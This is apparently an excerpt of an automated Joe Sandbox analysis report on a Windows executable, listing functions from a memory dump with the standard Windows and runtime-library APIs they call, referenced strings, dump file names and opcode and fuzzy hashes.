Opcode Fuzzy Hash: 590aeb46bd6af2a3aed97245a54b5e079c6bcd04d34f1c9a6147f8658fef7ac1
Instruction Fuzzy Hash: 6B41D87050828CAADF218E68CC84FF6BBE9EB56304F1404EDE5AA87143D735AA45DB60

Function 00BAAF6C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,2DE85006,00000001,?,?), ref: 00BAAFDD

Strings

LCMapStringEx, xrefs: 00BAAF7D, 00BAAF87

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 9fe5b69e176665cb081a369767cd111223df457bc12f4d834b4a55af7dddbdcc
Instruction ID: 99341f8f481fd0cd7d6948e90ead97ead21833c0aec1cfee20f94dc7923b5c8b
Opcode Fuzzy Hash: 9fe5b69e176665cb081a369767cd111223df457bc12f4d834b4a55af7dddbdcc
Instruction Fuzzy Hash: 45010832544209BBCF169FA0DC06DEE7FA2EF49760F054294FE1466170CBB68A31EB91

Function 00BAAF0A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00BAA56F), ref: 00BAAF55

Strings

InitializeCriticalSectionEx, xrefs: 00BAAF1B, 00BAAF25

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 461ea8c872b10eb5a6aa83c5d4bceff324810b7ad9df2e2809274e5ce82fea79
Instruction ID: fa0c0a616e0d3e458b8cb02ee25898ebe06c5263326c9c0599ad8d51992e1118
Opcode Fuzzy Hash: 461ea8c872b10eb5a6aa83c5d4bceff324810b7ad9df2e2809274e5ce82fea79
Instruction Fuzzy Hash: 53F09031689208BFCB065F54CC06CAD7BE5EF45B21B0041A4F808A6270DEB25E10DB95

Function 00BAADAF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00BAADEE

Strings

FlsAlloc, xrefs: 00BAADC0, 00BAADCA

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: cacba5113e91ec8f03c4a9db130dd7a9ce1e59581b4ae161d7822e5dba5968be
Instruction ID: 8489f42ce385ad6311ad33ae76c04eb8a392936fa62a66ac817d89ee0be160d8
Opcode Fuzzy Hash: cacba5113e91ec8f03c4a9db130dd7a9ce1e59581b4ae161d7822e5dba5968be
Instruction Fuzzy Hash: 55E0E531689218BBD611AB65DC069BEBBD4DB85B21B0102E9F845A7260DEB15E00C6E6

Function 00BABBF0 Relevance: 3.2, APIs: 2, Instructions: 168COMMON

Download Yara Rule

APIs

Part of subcall function 00BAB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BABA44,?), ref: 00BAB7E6

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00BABA89,?,00000000), ref: 00BABC64
GetCPInfo.KERNEL32(00000000,00BABA89,?,?,?,00BABA89,?,00000000), ref: 00BABC77

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 03d242e9f693be66e3279f9e252d7d609380ef6c9744fe2fe87c24de98776375
Instruction ID: 12db3857ee67e0acc23229b068c72b58e90e3d4dbd15ffaadda9361542fd5916
Opcode Fuzzy Hash: 03d242e9f693be66e3279f9e252d7d609380ef6c9744fe2fe87c24de98776375
Instruction Fuzzy Hash: 7351F2709082459FDB209F75C881EBABBE5EF43310F1444FED4B68B263EB7599458B90

Function 00B89A74 Relevance: 3.1, APIs: 2, Instructions: 116COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,?,?,?,-00000870,00000000,00000800,?,00B89A50,?,?,00000000,?,?,00B88CBC,?), ref: 00B89BAB
GetLastError.KERNEL32(?,00000000,00B88411,-00009570,00000000,000007F3), ref: 00B89BB6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 420b8d0ab42b87a6ec4bfc5fabaf6f444c52e1973127d9500dfd524c7d4af5a4
Instruction ID: cc4356464e03446857a14fa43e1607121dba87b8457c5bf65384ba9ee129717e
Opcode Fuzzy Hash: 420b8d0ab42b87a6ec4bfc5fabaf6f444c52e1973127d9500dfd524c7d4af5a4
Instruction Fuzzy Hash: 514189316043418BDF24AF25E58497AB7E5FB94720F188AADE89183270E7B0ED44CB91

Function 00BABA27 Relevance: 3.1, APIs: 2, Instructions: 91COMMON

Download Yara Rule

APIs

Part of subcall function 00BA97E5: GetLastError.KERNEL32(?,00BC1030,00BA4674,00BC1030,?,?,00BA3F73,00000050,?,00BC1030,00000200), ref: 00BA97E9
Part of subcall function 00BA97E5: _free.LIBCMT ref: 00BA981C
Part of subcall function 00BA97E5: SetLastError.KERNEL32(00000000,?,00BC1030,00000200), ref: 00BA985D
Part of subcall function 00BA97E5: _abort.LIBCMT ref: 00BA9863

Part of subcall function 00BABB4E: _abort.LIBCMT ref: 00BABB80
Part of subcall function 00BABB4E: _free.LIBCMT ref: 00BABBB4

Part of subcall function 00BAB7BB: GetOEMCP.KERNEL32(00000000,?,?,00BABA44,?), ref: 00BAB7E6

_free.LIBCMT ref: 00BABA9F
_free.LIBCMT ref: 00BABAD5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: _free$ErrorLast_abort
String ID:
API String ID: 2991157371-0
Opcode ID: ea793b6d723622c2f62d434d1eccfc8bfcef58ec6addaaa89554c1c4f9bf0e7f
Instruction ID: e30cfd7c8cabd8463f7dae6dc735aea0a3c814646058ccc303d42c4c4e71b2c8
Opcode Fuzzy Hash: ea793b6d723622c2f62d434d1eccfc8bfcef58ec6addaaa89554c1c4f9bf0e7f
Instruction Fuzzy Hash: 04316F31908209AFDB14EFA8D441FADB7E5EF42320F2541D9E9249B2A3EF729D40DB50

Function 00B81E50 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00B81E55

Part of subcall function 00B83BBA: __EH_prolog.LIBCMT ref: 00B83BBF

_wcslen.LIBCMT ref: 00B81EFD

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 42b937ac942a2e10a10c8a6824bb2ffa1652cf63df47bc60946174c85282dae7
Instruction ID: d0de4956dcb4abcbf49ee5f6edb733936bfe3d884e89f7d90e795df1563c4ced
Opcode Fuzzy Hash: 42b937ac942a2e10a10c8a6824bb2ffa1652cf63df47bc60946174c85282dae7
Instruction Fuzzy Hash: DC312B71905209AFCF15EF98C945AEEBBFAEF58300F1008EAF845A7261C7365E11DB60

Function 00B89DA2 Relevance: 3.1, APIs: 2, Instructions: 83timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00B873BC,?,?,?,00000000), ref: 00B89DBC
SetFileTime.KERNELBASE(?,?,?,?), ref: 00B89E70

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 1959649a79f4335445029bfc4ab3cd4527138eec423179c98b87b697991b5b08
Instruction ID: 889c5ece4cec6778bfd57f631264303964ee08fe5aac97fc287f978920bb6b72
Opcode Fuzzy Hash: 1959649a79f4335445029bfc4ab3cd4527138eec423179c98b87b697991b5b08
Instruction Fuzzy Hash: BF21F031248246EBCB14EF34C891ABBBBE8EF95704F0849ACF4C583161D329E90DDB61

Function 00B8966E Relevance: 3.1, APIs: 2, Instructions: 82fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,00000001,00000000,00000002,00000000,00000000,?,00000000,?,?,?,00B89F27,?,?,00B8771A), ref: 00B896E6
CreateFileW.KERNEL32(?,?,00000001,00000000,00000002,00000000,00000000,?,?,00000800,?,?,00B89F27,?,?,00B8771A), ref: 00B89716

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 9eb224733f33bd1d5ed1e0b524963d804b3ea095690d51bfb52a47da72a87655
Instruction ID: 92ae95327e76ec963c17ce6743e15317f4a36564757e1aeaf45ff0290fc6707f
Opcode Fuzzy Hash: 9eb224733f33bd1d5ed1e0b524963d804b3ea095690d51bfb52a47da72a87655
Instruction Fuzzy Hash: 7521E071000344AFE730AA65CC89BB777DCEB49320F140A58F995C21E1D7B4A884C731

Function 00B89E80 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000001), ref: 00B89EC7
GetLastError.KERNEL32 ref: 00B89ED4

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 63cb0d565d92f2387d901605517a0d01f87f5e90b609297fedd28389f8d6debe
Instruction ID: 01470ff0853df5e9ad3a806f5d91f82b435cfa1c752b13a450ef8a92aba8e60c
Opcode Fuzzy Hash: 63cb0d565d92f2387d901605517a0d01f87f5e90b609297fedd28389f8d6debe
Instruction Fuzzy Hash: 6011E931600700DBDB34EA28C885BB6BBE9EB45361F544AA9E552D29F0D770ED49C760

Function 00BA8E54 Relevance: 3.0, APIs: 2, Instructions: 44memoryCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00BA8E75

Part of subcall function 00BA8E06: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00BACA2C,00000000,?,00BA6CBE,?,00000008,?,00BA91E0,?,?,?), ref: 00BA8E38

HeapReAlloc.KERNEL32(00000000,?,?,?,00000007,00BC1098,00B817CE,?,?,00000007,?,?,?,00B813D6,?,00000000), ref: 00BA8EB1

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Heap$AllocAllocate_free
String ID:
API String ID: 2447670028-0
Opcode ID: 4e8bc30beb0c4f8e4d65018e29e60ad5ad8b063c58f60a5e40a7c824df07c032
Instruction ID: 0254f6782264f57dbb10f0b74d276d932e615cc3ffb1290e14b0ced282a9c7d1
Opcode Fuzzy Hash: 4e8bc30beb0c4f8e4d65018e29e60ad5ad8b063c58f60a5e40a7c824df07c032
Instruction Fuzzy Hash: C8F0F63260D101FACB212B25AC04B6F7BD8CF93B70F2401E5F814AB991DF70CD0185A0

Function 00B9109E Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?), ref: 00B910AB
GetProcessAffinityMask.KERNEL32(00000000), ref: 00B910B2

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 2cd23486d6527acaf70b48dd7b732c8ef0bf5b8bf84fbb566a71033a0d1ee838
Instruction ID: 60c75ba471a50c3bc26ccd8e8ffd6f2ea5dd795dbfd474ee985cb2b29bf7112f
Opcode Fuzzy Hash: 2cd23486d6527acaf70b48dd7b732c8ef0bf5b8bf84fbb566a71033a0d1ee838
Instruction Fuzzy Hash: 0CE0D832F0014AA7DF0997B89C059EB73DDEA4420431485B6E403D3101F971DE415660

Function 00B8A4ED Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A501

Part of subcall function 00B8BB03: _wcslen.LIBCMT ref: 00B8BB27

SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00B8A325,?,?,?,00B8A175,?,00000001,00000000,?,?), ref: 00B8A532

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: 2441f51d560023af3d8c187e2baf03f7776ec3e3475e47e609ab01068b943cf3
Instruction ID: b90464f19a13f0bf596534b8381d8866cb40ef2bb19a462c04aba69f13260abb
Opcode Fuzzy Hash: 2441f51d560023af3d8c187e2baf03f7776ec3e3475e47e609ab01068b943cf3
Instruction Fuzzy Hash: D5F03932240209BBEF017F60DC85FDA37ACEF15785F8880A1B949D6164DB71DAD9EB50

Function 00B8A1E0 Relevance: 3.0, APIs: 2, Instructions: 27fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(000000FF,?,?,00B8977F,?,?,00B895CF,?,?,?,?,?,00BB2641,000000FF), ref: 00B8A1F1

Part of subcall function 00B8BB03: _wcslen.LIBCMT ref: 00B8BB27

DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00B8977F,?,?,00B895CF,?,?,?,?,?,00BB2641), ref: 00B8A21F

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: DeleteFile$_wcslen
String ID:
API String ID: 2643169976-0
Opcode ID: 57af289b6a3aa75f9b468679292e28106d5f4abdc9f90697e64fcb2f8fa7b2a6
Instruction ID: 54863c2624f80754e369338bd505433dccdb14bb1c1a8eef57d72ea7adc9d0ef
Opcode Fuzzy Hash: 57af289b6a3aa75f9b468679292e28106d5f4abdc9f90697e64fcb2f8fa7b2a6
Instruction Fuzzy Hash: B8E092311442096BEB11AF60DC85FD977ECEF08781F4840A1B944D2060EF61DE84DB50

Function 00B9AC7C Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00BB2641,000000FF), ref: 00B9ACB0
CoUninitialize.COMBASE(?,?,?,?,00BB2641,000000FF), ref: 00B9ACB5

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 78b42f27efeae3fc65c9f6bfdbfc155eedc295e10b728a4b2d336a51b3ad6325
Instruction ID: 5f40ce0e2f1141180553c2a5acd260bdb85058fba3c6cb6ff5f0f6506e3455d7
Opcode Fuzzy Hash: 78b42f27efeae3fc65c9f6bfdbfc155eedc295e10b728a4b2d336a51b3ad6325
Instruction Fuzzy Hash: DFE03972604650EBCA019B58DC46B49FBE8FB88B20F00436AA416937A0CB74A800CA90

Function 00B8A243 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,00B8A23A,?,00B8755C,?,?,?,?), ref: 00B8A254

Part of subcall function 00B8BB03: _wcslen.LIBCMT ref: 00B8BB27

GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00B8A23A,?,00B8755C,?,?,?,?), ref: 00B8A280

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BC5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115900272.0000000000BE2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2116015717.0000000000BE3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b80000_eP6sjvTqJa.jbxd

Similarity

API ID: AttributesFile$_wcslen
String ID:
API String ID: 2673547680-0
Opcode ID: ef0ea2062df6e58a7e65fe49b98c05d13a852d87880d8ba0ee0db017efac1819
Instruction ID: e9405b5adf7ce68e8c83f91662f895f44cc068ef84467ba573f789ca8159a2a8
Opcode Fuzzy Hash: ef0ea2062df6e58a7e65fe49b98c05d13a852d87880d8ba0ee0db017efac1819
Instruction Fuzzy Hash: 2AE092315001249BDF20BB64CC45BD9B7E8EB087E1F0442A1FD54E31A0DB70DE44CBA0

Function 00B9DEC2 Relevance: 3.0, APIs: 2, Instructions: 25COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00B9DEEC

Part of subcall function 00B84092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00B840A5

SetDlgItemTextW.USER32(00000065,?), ref: 00B9DF03

Part of subcall function 00B9B568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00B9B579
Part of subcall function 00B9B568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00B9B58A
Part of subcall function 00B9B568: IsDialogMessageW.USER32(0001040E,?), ref: 00B9B59E
Part of subcall function 00B9B568: TranslateMessage.USER32(?), ref: 00B9B5AC
Part of subcall function 00B9B568: DispatchMessageW.USER32(?), ref: 00B9B5B6

Memory Dump Source

Source File: 00000000.00000002.2115855430.0000000000B81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000000.00000002.2115837421.0000000000B80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2115880933.0000000000BB3000.00000002.00000001.01000000.00000003.sdmpDownload File
